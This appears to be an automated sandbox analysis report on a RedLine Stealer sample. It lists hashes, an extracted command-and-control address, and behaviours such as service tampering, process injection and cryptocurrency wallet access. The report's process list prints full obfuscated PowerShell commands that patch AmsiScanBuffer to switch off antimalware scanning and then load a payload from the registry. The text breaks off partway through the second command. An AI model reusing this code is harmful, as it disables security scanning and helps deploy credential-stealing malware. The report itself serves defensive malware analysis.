Analysis
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max time kernel
44s -
max time network
97s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
16/01/2023, 13:32
Static task
static1
Behavioral task
behavioral1
Sample
17855519b9e1bde7cabf66a422b5671d4d462968.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
17855519b9e1bde7cabf66a422b5671d4d462968.exe
Resource
win10v2004-20220901-en
General
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Target
17855519b9e1bde7cabf66a422b5671d4d462968.exe
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Size
365KB
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MD5
ee244310289c82ebe8c73cfd83329f49
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SHA1
17855519b9e1bde7cabf66a422b5671d4d462968
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SHA256
702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33
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SHA512
20053cb845d1ef2845c85596f0d214b04fc8301cb783d8631ca8504af26706e78f046d691a65d1bd8fb9f15ff22e3136d5771f5a9394eb8d534afcc90f350d2b
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SSDEEP
6144:xVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO19AjWbc:xRDF2BpjLQLsvBP0+ecyEY37CGP
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/204-174-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 3060 created 2056 3060 SmartDefRun.exe 48 PID 3060 created 2056 3060 SmartDefRun.exe 48 PID 3060 created 2056 3060 SmartDefRun.exe 48 PID 3060 created 2056 3060 SmartDefRun.exe 48 PID 4928 created 588 4928 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 6 2716 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 2656 C4Loader.exe 960 new2.exe 2264 SysApp.exe 3060 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1616 set thread context of 4892 1616 17855519b9e1bde7cabf66a422b5671d4d462968.exe 81 PID 960 set thread context of 204 960 new2.exe 92 PID 3060 set thread context of 2928 3060 SmartDefRun.exe 116 PID 4928 set thread context of 4708 4928 powershell.EXE 121 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2496 sc.exe 1784 sc.exe 3700 sc.exe 4960 sc.exe 3460 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 1332 1616 WerFault.exe 79 1788 960 WerFault.exe 88 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 2716 powershell.exe 2716 powershell.exe 2264 SysApp.exe 2264 SysApp.exe 2264 SysApp.exe 2264 SysApp.exe 2264 SysApp.exe 2264 SysApp.exe 2264 SysApp.exe 2264 SysApp.exe 2264 SysApp.exe 2264 SysApp.exe 204 vbc.exe 3060 SmartDefRun.exe 3060 SmartDefRun.exe 4128 powershell.exe 4128 powershell.exe 3060 SmartDefRun.exe 3060 SmartDefRun.exe 3060 SmartDefRun.exe 3060 SmartDefRun.exe 1640 powershell.exe 1640 powershell.exe 3060 SmartDefRun.exe 3060 SmartDefRun.exe 4928 powershell.EXE 3728 powershell.EXE 4928 powershell.EXE 3728 powershell.EXE 4928 powershell.EXE 4708 dllhost.exe 4708 dllhost.exe 4708 dllhost.exe 4708 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2716 powershell.exe Token: SeDebugPrivilege 204 vbc.exe Token: SeDebugPrivilege 4128 powershell.exe Token: SeDebugPrivilege 1640 powershell.exe Token: SeIncreaseQuotaPrivilege 1640 powershell.exe Token: SeSecurityPrivilege 1640 powershell.exe Token: SeTakeOwnershipPrivilege 1640 powershell.exe Token: SeLoadDriverPrivilege 1640 powershell.exe Token: SeSystemProfilePrivilege 1640 powershell.exe Token: SeSystemtimePrivilege 1640 powershell.exe Token: SeProfSingleProcessPrivilege 1640 powershell.exe Token: SeIncBasePriorityPrivilege 1640 powershell.exe Token: SeCreatePagefilePrivilege 1640 powershell.exe Token: SeBackupPrivilege 1640 powershell.exe Token: SeRestorePrivilege 1640 powershell.exe Token: SeShutdownPrivilege 1640 powershell.exe Token: SeDebugPrivilege 1640 powershell.exe Token: SeSystemEnvironmentPrivilege 1640 powershell.exe Token: SeRemoteShutdownPrivilege 1640 powershell.exe Token: SeUndockPrivilege 1640 powershell.exe Token: SeManageVolumePrivilege 1640 powershell.exe Token: 33 1640 powershell.exe Token: 34 1640 powershell.exe Token: 35 1640 powershell.exe Token: 36 1640 powershell.exe Token: SeIncreaseQuotaPrivilege 1640 powershell.exe Token: SeSecurityPrivilege 1640 powershell.exe Token: SeTakeOwnershipPrivilege 1640 powershell.exe Token: SeLoadDriverPrivilege 1640 powershell.exe Token: SeSystemProfilePrivilege 1640 powershell.exe Token: SeSystemtimePrivilege 1640 powershell.exe Token: SeProfSingleProcessPrivilege 1640 powershell.exe Token: SeIncBasePriorityPrivilege 1640 powershell.exe Token: SeCreatePagefilePrivilege 1640 powershell.exe Token: SeBackupPrivilege 1640 powershell.exe Token: SeRestorePrivilege 1640 powershell.exe Token: SeShutdownPrivilege 1640 powershell.exe Token: SeDebugPrivilege 1640 powershell.exe Token: SeSystemEnvironmentPrivilege 1640 powershell.exe Token: SeRemoteShutdownPrivilege 1640 powershell.exe Token: SeUndockPrivilege 1640 powershell.exe Token: SeManageVolumePrivilege 1640 powershell.exe Token: 33 1640 powershell.exe Token: 34 1640 powershell.exe Token: 35 1640 powershell.exe Token: 36 1640 powershell.exe Token: SeIncreaseQuotaPrivilege 1640 powershell.exe Token: SeSecurityPrivilege 1640 powershell.exe Token: SeTakeOwnershipPrivilege 1640 powershell.exe Token: SeLoadDriverPrivilege 1640 powershell.exe Token: SeSystemProfilePrivilege 1640 powershell.exe Token: SeSystemtimePrivilege 1640 powershell.exe Token: SeProfSingleProcessPrivilege 1640 powershell.exe Token: SeIncBasePriorityPrivilege 1640 powershell.exe Token: SeCreatePagefilePrivilege 1640 powershell.exe Token: SeBackupPrivilege 1640 powershell.exe Token: SeRestorePrivilege 1640 powershell.exe Token: SeShutdownPrivilege 1640 powershell.exe Token: SeDebugPrivilege 1640 powershell.exe Token: SeSystemEnvironmentPrivilege 1640 powershell.exe Token: SeRemoteShutdownPrivilege 1640 powershell.exe Token: SeUndockPrivilege 1640 powershell.exe Token: SeManageVolumePrivilege 1640 powershell.exe Token: 33 1640 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1616 wrote to memory of 4892 1616 17855519b9e1bde7cabf66a422b5671d4d462968.exe 81 PID 1616 wrote to memory of 4892 1616 17855519b9e1bde7cabf66a422b5671d4d462968.exe 81 PID 1616 wrote to memory of 4892 1616 17855519b9e1bde7cabf66a422b5671d4d462968.exe 81 PID 1616 wrote to memory of 4892 1616 17855519b9e1bde7cabf66a422b5671d4d462968.exe 81 PID 1616 wrote to memory of 4892 1616 17855519b9e1bde7cabf66a422b5671d4d462968.exe 81 PID 4892 wrote to memory of 2716 4892 vbc.exe 85 PID 4892 wrote to memory of 2716 4892 vbc.exe 85 PID 4892 wrote to memory of 2716 4892 vbc.exe 85 PID 2716 wrote to memory of 2656 2716 powershell.exe 87 PID 2716 wrote to memory of 2656 2716 powershell.exe 87 PID 2716 wrote to memory of 2656 2716 powershell.exe 87 PID 2716 wrote to memory of 960 2716 powershell.exe 88 PID 2716 wrote to memory of 960 2716 powershell.exe 88 PID 2716 wrote to memory of 960 2716 powershell.exe 88 PID 2716 wrote to memory of 2264 2716 powershell.exe 90 PID 2716 wrote to memory of 2264 2716 powershell.exe 90 PID 2716 wrote to memory of 2264 2716 powershell.exe 90 PID 2716 wrote to memory of 3060 2716 powershell.exe 91 PID 2716 wrote to memory of 3060 2716 powershell.exe 91 PID 960 wrote to memory of 204 960 new2.exe 92 PID 960 wrote to memory of 204 960 new2.exe 92 PID 960 wrote to memory of 204 960 new2.exe 92 PID 960 wrote to memory of 204 960 new2.exe 92 PID 960 wrote to memory of 204 960 new2.exe 92 PID 3052 wrote to memory of 2496 3052 cmd.exe 105 PID 3052 wrote to memory of 2496 3052 cmd.exe 105 PID 3052 wrote to memory of 1784 3052 cmd.exe 106 PID 3052 wrote to memory of 1784 3052 cmd.exe 106 PID 3052 wrote to memory of 3700 3052 cmd.exe 107 PID 3052 wrote to memory of 3700 3052 cmd.exe 107 PID 3052 wrote to memory of 4960 3052 cmd.exe 108 PID 3052 wrote to memory of 4960 3052 cmd.exe 108 PID 3052 wrote to memory of 3460 3052 cmd.exe 109 PID 3052 wrote to memory of 3460 3052 cmd.exe 109 PID 3052 wrote to memory of 3680 3052 cmd.exe 111 PID 3052 wrote to memory of 3680 3052 cmd.exe 111 PID 3052 wrote to memory of 1728 3052 cmd.exe 112 PID 3052 wrote to memory of 1728 3052 cmd.exe 112 PID 3052 wrote to memory of 3048 3052 cmd.exe 113 PID 3052 wrote to memory of 3048 3052 cmd.exe 113 PID 3052 wrote to memory of 2712 3052 cmd.exe 114 PID 3052 wrote to memory of 2712 3052 cmd.exe 114 PID 3052 wrote to memory of 3740 3052 cmd.exe 115 PID 3052 wrote to memory of 3740 3052 cmd.exe 115 PID 3060 wrote to memory of 2928 3060 SmartDefRun.exe 116 PID 4928 wrote to memory of 4708 4928 powershell.EXE 121 PID 4928 wrote to memory of 4708 4928 powershell.EXE 121 PID 4928 wrote to memory of 4708 4928 powershell.EXE 121 PID 4928 wrote to memory of 4708 4928 powershell.EXE 121 PID 4928 wrote to memory of 4708 4928 powershell.EXE 121 PID 4928 wrote to memory of 4708 4928 powershell.EXE 121 PID 4928 wrote to memory of 4708 4928 powershell.EXE 121 PID 4928 wrote to memory of 4708 4928 powershell.EXE 121 PID 4928 wrote to memory of 4708 4928 powershell.EXE 121 PID 4708 wrote to memory of 588 4708 dllhost.exe 3 PID 4708 wrote to memory of 668 4708 dllhost.exe 1 PID 4708 wrote to memory of 952 4708 dllhost.exe 76 PID 4708 wrote to memory of 376 4708 dllhost.exe 10 PID 4708 wrote to memory of 424 4708 dllhost.exe 11 PID 4708 wrote to memory of 696 4708 dllhost.exe 75 PID 4708 wrote to memory of 1064 4708 dllhost.exe 74 PID 4708 wrote to memory of 1072 4708 dllhost.exe 73 PID 4708 wrote to memory of 1120 4708 dllhost.exe 13 PID 4708 wrote to memory of 1172 4708 dllhost.exe 14
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:668
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:588
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:376
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{86d83275-c67b-4864-9ec1-e29ab641123a}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4708
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1120
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2468
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:qBvyCGxJqQvl{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WhXIchxqbaFyQA,[Parameter(Position=1)][Type]$XDbkBiBfsE)$GlEUKBUwUwh=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+[Char](116)+'ed'+'D'+''+[Char](101)+''+'l'+'e'+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+'mo'+[Char](114)+''+'y'+''+'M'+'o'+[Char](100)+''+'u'+''+'l'+''+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+'e'+'l'+'eg'+'a'+''+[Char](116)+''+'e'+''+[Char](84)+''+'y'+'p'+'e'+'',''+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+'P'+''+'u'+''+'b'+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+'aled'+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+''+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+'oCl'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$GlEUKBUwUwh.DefineConstructor(''+'R'+''+[Char](84)+'S'+'p'+''+[Char](101)+''+'c'+''+'i'+'a'+[Char](108)+''+'N'+''+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+''+'i'+''+[Char](100)+''+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$WhXIchxqbaFyQA).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+'e'+','+'M'+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+'d'+'');$GlEUKBUwUwh.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'','P'+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+''+','+''+'H'+'i'+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+'g'+','+[Char](78)+''+'e'+''+'w'+''+[Char](83)+'l'+'o'+''+[Char](116)+''+[Char](44)+'V'+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$XDbkBiBfsE,$WhXIchxqbaFyQA).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+'m'+'e'+''+','+'M'+'a'+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+'d');Write-Output $GlEUKBUwUwh.CreateType();}$YCIGUoSJamXTo=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+'s'+''+[Char](116)+''+'e'+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+'l')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+'o'+''+[Char](102)+'t'+'.'+'Wi'+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+[Char](115)+'a'+[Char](102)+''+'e'+''+[Char](89)+''+[Char](67)+''+[Char](73)+'G'+'U'+'oS'+[Char](74)+''+[Char](97)+''+'m'+''+[Char](88)+''+'T'+'o');$VWurzsyRNfBRUl=$YCIGUoSJamXTo.GetMethod(''+[Char](86)+''+[Char](87)+''+[Char](117)+'rz'+[Char](115)+''+'y'+''+[Char](82)+''+[Char](78)+''+'f'+''+[Char](66)+'R'+[Char](85)+'l',[Reflection.BindingFlags]''+[Char](80)+'ub'+[Char](108)+'i'+[Char](99)+','+'S'+''+'t'+''+[Char](97)+''+[Char](116)+''+'i'+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EbQmomjLKhvVuhzCCFU=qBvyCGxJqQvl @([String])([IntPtr]);$rphkjhCWdunzMlXEXthmgy=qBvyCGxJqQvl @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PPnNoKfqrev=$YCIGUoSJamXTo.GetMethod('G'+[Char](101)+''+'t'+'M'+'o'+''+[Char](100)+''+[Char](117)+'le'+[Char](72)+''+'a'+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+'r'+''+'n'+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$pqsaHLUKWBklXd=$VWurzsyRNfBRUl.Invoke($Null,@([Object]$PPnNoKfqrev,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+'L'+''+'i'+''+'b'+''+[Char](114)+''+'a'+''+'r'+''+'y'+''+[Char](65)+'')));$HPrsRJLCvHLovXfaq=$VWurzsyRNfBRUl.Invoke($Null,@([Object]$PPnNoKfqrev,[Object](''+[Char](86)+''+'i'+'rtu'+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+''+'o'+''+'t'+''+[Char](101)+''+[Char](99)+''+'t'+'')));$kZFzIfm=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pqsaHLUKWBklXd,$EbQmomjLKhvVuhzCCFU).Invoke(''+'a'+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$bppSPncEXYPjpKhgy=$VWurzsyRNfBRUl.Invoke($Null,@([Object]$kZFzIfm,[Object](''+[Char](65)+'m'+'s'+''+[Char](105)+''+'S'+''+[Char](99)+''+'a'+''+[Char](110)+'B'+'u'+''+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$PMJAlvauum=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HPrsRJLCvHLovXfaq,$rphkjhCWdunzMlXEXthmgy).Invoke($bppSPncEXYPjpKhgy,[uint32]8,4,[ref]$PMJAlvauum);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$bppSPncEXYPjpKhgy,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HPrsRJLCvHLovXfaq,$rphkjhCWdunzMlXEXthmgy).Invoke($bppSPncEXYPjpKhgy,[uint32]8,0x20,[ref]$PMJAlvauum);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](100)+'ia'+[Char](108)+'e'+[Char](114)+''+[Char](115)+'ta'+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3728
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:KrMEMOqYsUAr{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OmYUOqDqmYJncp,[Parameter(Position=1)][Type]$wSwhIWKNtf)$gCQPtdTpOge=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+[Char](108)+''+'e'+'c'+'t'+''+'e'+''+'d'+'D'+'e'+''+[Char](108)+''+'e'+'g'+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+'o'+''+[Char](114)+'y'+'M'+'o'+'d'+''+[Char](117)+'le',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+'e'+'l'+''+'e'+'ga'+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+'pe',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+'S'+''+'e'+'a'+'l'+'ed'+[Char](44)+''+'A'+''+[Char](110)+'siC'+'l'+'a'+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+'a'+'s'+'s',[MulticastDelegate]);$gCQPtdTpOge.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+'a'+''+'m'+''+[Char](101)+','+[Char](72)+''+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+'Si'+[Char](103)+''+','+''+[Char](80)+'u'+[Char](98)+''+'l'+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OmYUOqDqmYJncp).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+[Char](105)+''+'m'+''+'e'+''+','+'M'+'a'+''+'n'+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');$gCQPtdTpOge.DefineMethod('In'+'v'+'o'+[Char](107)+'e','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+','+'H'+'i'+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+''+'S'+''+'i'+'g'+[Char](44)+''+[Char](78)+'e'+[Char](119)+'Sl'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[